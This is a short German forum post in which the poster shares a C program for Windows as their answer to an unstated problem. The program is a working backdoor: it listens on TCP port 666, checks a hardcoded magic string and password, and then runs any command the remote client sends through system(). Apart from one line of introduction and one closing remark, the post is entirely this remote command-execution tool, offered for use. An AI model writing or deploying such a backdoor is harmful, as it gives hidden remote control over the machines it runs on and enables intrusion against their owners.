-
Das Problem hatte ich auch ne ganze weile...
naja, das hab ich irgendwann mal programmiert:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <winsock.h>
#define BUFFER_SIZE 1024
int handling(int c)
{
char buffer[BUFFER_SIZE], buf[BUFFER_SIZE];
int bytes, x;
char MAGICKEY[BUFFER_SIZE] = {'s', 'e', 'c', 'r', 'e', 't', 'c', 'o', 'd', 'e', '\0'};
char PASS[BUFFER_SIZE] = {'4', 'c', 'c', '3', 's', '!', '\0'};
while(TRUE)
{
memset(buf, '\0', sizeof(buf));
bytes = recv(c, buf, sizeof(buf) - 1, 0);
if (bytes == -1)
return -1;
buf[bytes] = '\0';
x = strncmp(buf, MAGICKEY, strlen(MAGICKEY));
if(x == 0)
{
printf("[client has entered the secretcode]\n");
memset(buf, '\0', sizeof(buf));
bytes = recv(c, buf, sizeof(buf) - 1, 0);
if (bytes == -1)
return -1;
buf[bytes] = '\0';
x = strncmp(buf, PASS, strlen(PASS));
if(x == 0)
{
printf("[client enterd the right password]\n");
memset(buf, '\0', sizeof(buf));
bytes = recv(c, buf, sizeof(buf) - 1, 0);
if (bytes == -1)
return -1;
buf[bytes] = '\0';
system(buf);
send(c, "[OK]\r\n", strlen("[OK]\r\n"), 0);
}
else
{
printf("[client entered the wrong password]\n");
continue;
}
}
}
return 0;
}
int main(int argc, char *argv[])
{
int s, c, cli_size;
struct sockaddr_in srv, cli;
{
WSADATA wsa;
if (WSAStartup(MAKEWORD(1, 1), &wsa))
{
printf("WSAStartup() failed, %lu\n", (unsigned long)GetLastError());
return EXIT_FAILURE;
}
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons(666);
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
cli_size = sizeof(cli);
c = accept(s, &cli, &cli_size);
printf("[client from %s]\n", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
}
denke der code is gut verständlich...